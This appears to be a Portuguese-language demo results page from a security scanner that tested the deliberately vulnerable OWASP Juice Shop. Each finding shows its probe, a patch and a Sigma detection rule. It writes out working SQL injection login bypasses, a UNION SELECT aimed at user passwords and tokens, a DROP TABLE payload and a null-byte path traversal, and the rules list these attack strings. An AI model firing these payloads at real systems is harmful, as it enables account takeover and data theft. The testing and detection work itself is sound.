Evidência da demonstração · OWASP Juice Shop

Carregando…...

Evidência da demonstração · OWASP Juice Shop · risco geral 77/100

Regra Sigma (auto-emitida) ▾

title: "OWASP A05 — Security Misconfiguration (directory listing / sensitive file exposure) — OWASP A05 — Confidential acquisitions document publicly readable"
id: "7d294e72-9d9b-4949-99af-80d59f513138"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_55d83cb2565624881aa3a65c.
    
    Detection gap observed:
    Probe a05-ftp-acquisitions-001 confirmed vulnerable. Indicator matched: status=200. Confidential acquisitions document publicly readable
    
    Recommended defense:
    Desabilitar listagem de diretórios (autoindex off em nginx, Options -Indexes em Apache). Mover arquivos sensíveis para fora do webroot. Aplicar policy de "deny by default" em arquivos estáticos.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_55d83cb2565624881aa3a65c"
  - "https://attack.mitre.org/techniques/T1083/"
date: "2026-09-02"
tags:
  - attack.t1083
  - doesitdefend.severity.medium
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /ftp
      - /.git
      - /.env
      - /encryptionkeys
    http_status: 200
  condition: selection
falsepositives:
  - "Intentionally-public asset directories"
level: medium

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A01 — Administration UI route reachable without auth check on frontend→ https://juice-shop.sandbox.doesitdefend.ai/#/administration

A01probea01-admin-public-001

Probe a01-admin-public-001 confirmed vulnerable. Indicator matched: status=200. Administration UI route reachable without auth check on frontend

Ver o ataque ▾

Requisição

GET /#/administration

Resposta

HTTP 200 —      OWASP Juice Shop &lt;meta name=&quot;description&quot; cont…

PATCHAplicar verificação de autorização por recurso (não apenas autenticação). Validar ownership via tenant_id/user_id antes de retornar dados. Implementar rate-limit por usuário em endpoints de enumeração.

Regra Sigma (auto-emitida) ▾

title: "OWASP A01 — Broken Access Control (IDOR / admin-route exposure) — OWASP A01 — Administration UI route reachable without auth check on frontend"
id: "278a2e44-a95d-41be-8036-6ece5dfefffb"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_78bb407c13b6392b991d9d6b.
    
    Detection gap observed:
    Probe a01-admin-public-001 confirmed vulnerable. Indicator matched: status=200. Administration UI route reachable without auth check on frontend
    
    Recommended defense:
    Aplicar verificação de autorização por recurso (não apenas autenticação). Validar ownership via tenant_id/user_id antes de retornar dados. Implementar rate-limit por usuário em endpoints de enumeração.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_78bb407c13b6392b991d9d6b"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-09-02"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /api/Users
      - /rest/basket/
      - /api/Feedbacks/
      - /administration
      - /ftp/
  condition: selection
falsepositives:
  - "Legitimate admin access from allow-listed IPs"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A03 — Order-by SQL injection via sort param (error-based detection)→ https://juice-shop.sandbox.doesitdefend.ai/api/Products?sort=id;DROP TABLE Users--

A03probea03-sqli-order-by-001

Probe a03-sqli-order-by-001 confirmed vulnerable. Indicator matched: status=400. Order-by SQL injection via sort param (error-based detection)

Ver o ataque ▾

Requisição

GET /api/Products?sort=id;DROP TABLE Users--

Resposta

HTTP 400 — {&quot;message&quot;:&quot;Sorting not allowed on given attributes&quot;,&quot;errors&quot;:[&quot;id;DROP TABLE Users--&quot;]}

PATCHUsar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — Order-by SQL injection via sort param (error-based detection)"
id: "bf3cc2d2-8e08-459a-accb-1ca3f202429c"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_3eb5ebd82066b4f73e59ed07.
    
    Detection gap observed:
    Probe a03-sqli-order-by-001 confirmed vulnerable. Indicator matched: status=400. Order-by SQL injection via sort param (error-based detection)
    
    Recommended defense:
    Usar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_3eb5ebd82066b4f73e59ed07"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-09-02"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A09 — Encryption keys directory listing leaks premium.key→ https://juice-shop.sandbox.doesitdefend.ai/encryptionkeys

A09probea09-secret-keys-001

Probe a09-secret-keys-001 confirmed vulnerable. Indicator matched: body~"premium.key". Encryption keys directory listing leaks premium.key

Ver o ataque ▾

Requisição

GET /encryptionkeys

Resposta

HTTP 200 —      listing directory /encryptionkeys * { margin: 0; padding: 0; outline: 0; } body { p…

PATCHNão expor diretórios de keys/secrets via webroot. Rotacionar chaves comprometidas. Centralizar gestão de segredos em Secret Manager/Vault.

Regra Sigma (auto-emitida) ▾

title: "OWASP A09 — Logging/Security Logging Failure (key/secret directory exposure) — OWASP A09 — Encryption keys directory listing leaks premium.key"
id: "407d1806-6cbb-4d9a-b274-dde2253bbedd"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_78b5670f10d807933c74cba0.
    
    Detection gap observed:
    Probe a09-secret-keys-001 confirmed vulnerable. Indicator matched: body~"premium.key". Encryption keys directory listing leaks premium.key
    
    Recommended defense:
    Não expor diretórios de keys/secrets via webroot. Rotacionar chaves comprometidas. Centralizar gestão de segredos em Secret Manager/Vault.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_78b5670f10d807933c74cba0"
  - "https://attack.mitre.org/techniques/T1552/001/"
date: "2026-09-02"
tags:
  - attack.t1552.001
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  response_keywords:
    - premium.key
    - private.key
    - id_rsa
    - .pem
  condition: response_keywords
falsepositives:
  - "Public example keys clearly marked as canaries"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A05 — FTP directory listing exposed at /ftp→ https://juice-shop.sandbox.doesitdefend.ai/ftp

A05probea05-ftp-listing-001

Probe a05-ftp-listing-001 confirmed vulnerable. Indicator matched: body~"package.json". FTP directory listing exposed at /ftp

Ver o ataque ▾

Requisição

GET /ftp

Resposta

HTTP 200 —      listing directory /ftp * { margin: 0; padding: 0; outline: 0; } body { padding: 80p…

PATCHDesabilitar listagem de diretórios (autoindex off em nginx, Options -Indexes em Apache). Mover arquivos sensíveis para fora do webroot. Aplicar policy de "deny by default" em arquivos estáticos.

Regra Sigma (auto-emitida) ▾

title: "OWASP A05 — Security Misconfiguration (directory listing / sensitive file exposure) — OWASP A05 — FTP directory listing exposed at /ftp"
id: "5f050c8f-a82e-4eac-8666-523132376abb"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_2f37f74691dbdd1446ecd5c5.
    
    Detection gap observed:
    Probe a05-ftp-listing-001 confirmed vulnerable. Indicator matched: body~"package.json". FTP directory listing exposed at /ftp
    
    Recommended defense:
    Desabilitar listagem de diretórios (autoindex off em nginx, Options -Indexes em Apache). Mover arquivos sensíveis para fora do webroot. Aplicar policy de "deny by default" em arquivos estáticos.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_2f37f74691dbdd1446ecd5c5"
  - "https://attack.mitre.org/techniques/T1083/"
date: "2026-09-02"
tags:
  - attack.t1083
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /ftp
      - /.git
      - /.env
      - /encryptionkeys
    http_status: 200
  condition: selection
falsepositives:
  - "Intentionally-public asset directories"
level: medium

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A01 — Poison-null byte path traversal bypasses .md whitelist→ https://juice-shop.sandbox.doesitdefend.ai/ftp/package.json.bak%2500.md

A01probea01-pathtraversal-ftp-001

Probe a01-pathtraversal-ftp-001 confirmed vulnerable. Indicator matched: body~"dependencies". Poison-null byte path traversal bypasses .md whitelist

Ver o ataque ▾

Requisição

GET /ftp/package.json.bak%2500.md

Resposta

HTTP 200 — { &quot;name&quot;: &quot;juice-shop&quot;, &quot;version&quot;: &quot;6.2.0-SNAPSHOT&quot;, &quot;description&quot;: &quot;An intentionally insecure JavaScript Web Application&quot;, &quot;homepage&quot;: &quot;http://owasp-juice.shop&quot;, &quot;author&quot;: &quot;Björn Kimminich  (https://kimminich.de)&quot;, &quot;contributors&quot;: [ &quot;Björn…

Regra Sigma (auto-emitida) ▾

title: "OWASP A01 — Broken Access Control (IDOR / admin-route exposure) — OWASP A01 — Poison-null byte path traversal bypasses .md whitelist"
id: "16e5ac7c-00c5-4eb5-a594-d6bf9e97663e"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_397197163781244b4bd9f324.
    
    Detection gap observed:
    Probe a01-pathtraversal-ftp-001 confirmed vulnerable. Indicator matched: body~"dependencies". Poison-null byte path traversal bypasses .md whitelist
    
    Recommended defense:
    Aplicar verificação de autorização por recurso (não apenas autenticação). Validar ownership via tenant_id/user_id antes de retornar dados. Implementar rate-limit por usuário em endpoints de enumeração.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_397197163781244b4bd9f324"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-09-02"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /api/Users
      - /rest/basket/
      - /api/Feedbacks/
      - /administration
      - /ftp/
  condition: selection
falsepositives:
  - "Legitimate admin access from allow-listed IPs"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

high

OWASP A03 — Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim

→ https://juice-shop.sandbox.doesitdefend.ai/rest/products/search?q=apple')) UNION SELECT id,email,password,role,deluxeToken,1,2,3 FROM Users--

A03probea03-sqli-search-001

Probe a03-sqli-search-001 confirmed vulnerable. Indicator matched: body~"SQLITE_ERROR". Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim

Ver o ataque ▾

Requisição

GET /rest/products/search?q=apple&#x27;)) UNION SELECT id,email,password,role,deluxeToken,1,2,3 FROM Users--

Resposta

HTTP 500 —    Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns * { margin: 0; padding: 0; outline: 0; } body { padding: 80px 100px; font: 13px &quot;Helvetica Neue&quot;, &quot;Luci…

PATCHUsar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim"
id: "109fb36b-619a-49a5-b449-769cd9598dbd"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_c043f9519e867336ab446aae.
    
    Detection gap observed:
    Probe a03-sqli-search-001 confirmed vulnerable. Indicator matched: body~"SQLITE_ERROR". Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim
    
    Recommended defense:
    Usar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_c043f9519e867336ab446aae"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-09-02"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

criticalOWASP A03 — SQL injection in login email bypasses authentication (classic ' OR 1=1--)→ https://juice-shop.sandbox.doesitdefend.ai/rest/user/login

A03probea03-sqli-login-email-001

Probe a03-sqli-login-email-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection in login email bypasses authentication (classic ' OR 1=1--)

Ver o ataque ▾

Requisição

POST /rest/user/login {&quot;email&quot;:&quot;&#x27; OR 1=1--&quot;,&quot;password&quot;:&quot;anything&quot;}

Resposta

HTTP 200 — {&quot;authentication&quot;:{&quot;token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjo…

PATCHUsar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — SQL injection in login email bypasses authentication (classic ' OR 1=1--)"
id: "50564586-8dcd-4f5a-b0da-c3d9696b6caf"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_5aac2b8d7b14779c84680fc4.
    
    Detection gap observed:
    Probe a03-sqli-login-email-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection in login email bypasses authentication (classic ' OR 1=1--)
    
    Recommended defense:
    Usar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_5aac2b8d7b14779c84680fc4"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-09-02"
tags:
  - attack.t1190
  - doesitdefend.severity.critical
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

criticalOWASP A03 — SQL injection with comment terminator bypasses password check→ https://juice-shop.sandbox.doesitdefend.ai/rest/user/login

A03probea03-sqli-login-quote-001

Probe a03-sqli-login-quote-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection with comment terminator bypasses password check

Ver o ataque ▾

Requisição

POST /rest/user/login {&quot;email&quot;:&quot;[EMAIL]&#x27;--&quot;,&quot;password&quot;:&quot;anything&quot;}

Resposta

HTTP 200 — {&quot;authentication&quot;:{&quot;token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjo…

PATCHUsar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — SQL injection with comment terminator bypasses password check"
id: "78cf2890-e833-4551-b05a-7f06cd047114"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_45ddd2c1b8ea1616cab7c391.
    
    Detection gap observed:
    Probe a03-sqli-login-quote-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection with comment terminator bypasses password check
    
    Recommended defense:
    Usar prepared statements (parameterized queries). Validar e sanitizar input no boundary. Aplicar output encoding contextual para evitar XSS. WAF como camada defensiva, não primária.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_45ddd2c1b8ea1616cab7c391"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-09-02"
tags:
  - attack.t1190
  - doesitdefend.severity.critical
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

Incorpore este selo

Exiba sua pontuação de segurança LLM no README, na documentação ou na página de marketing. A imagem do selo é regenerada a cada cinco minutos a partir dos dados desta execução.

Markdown

[![LLM security badge](https://api.doesitdefend.ai/v1/badges/runs/run_e6d9241ea5f1d7470e5711da.svg)](https://doesitdefend.ai/demo/runs/run_e6d9241ea5f1d7470e5711da)

HTML

<a href="https://doesitdefend.ai/demo/runs/run_e6d9241ea5f1d7470e5711da"><img src="https://api.doesitdefend.ai/v1/badges/runs/run_e6d9241ea5f1d7470e5711da.svg" alt="LLM security badge"></a>

Atacamos
OWASP Juice Shop
em 1.2s.

Pontuação de defesa em quatro dimensões

Descobertas

Rode você mesmo.

Atacar este mesmo sandbox.

Apontar o motor para sua aplicação web.

Incorpore este selo

AtacamosOWASP Juice Shopem 1.2s.

Pontuação de defesa em quatro dimensões

Descobertas

Rode você mesmo.

Atacar este mesmo sandbox.

Apontar o motor para sua aplicação web.

Incorpore este selo

Atacamos
OWASP Juice Shop
em 1.2s.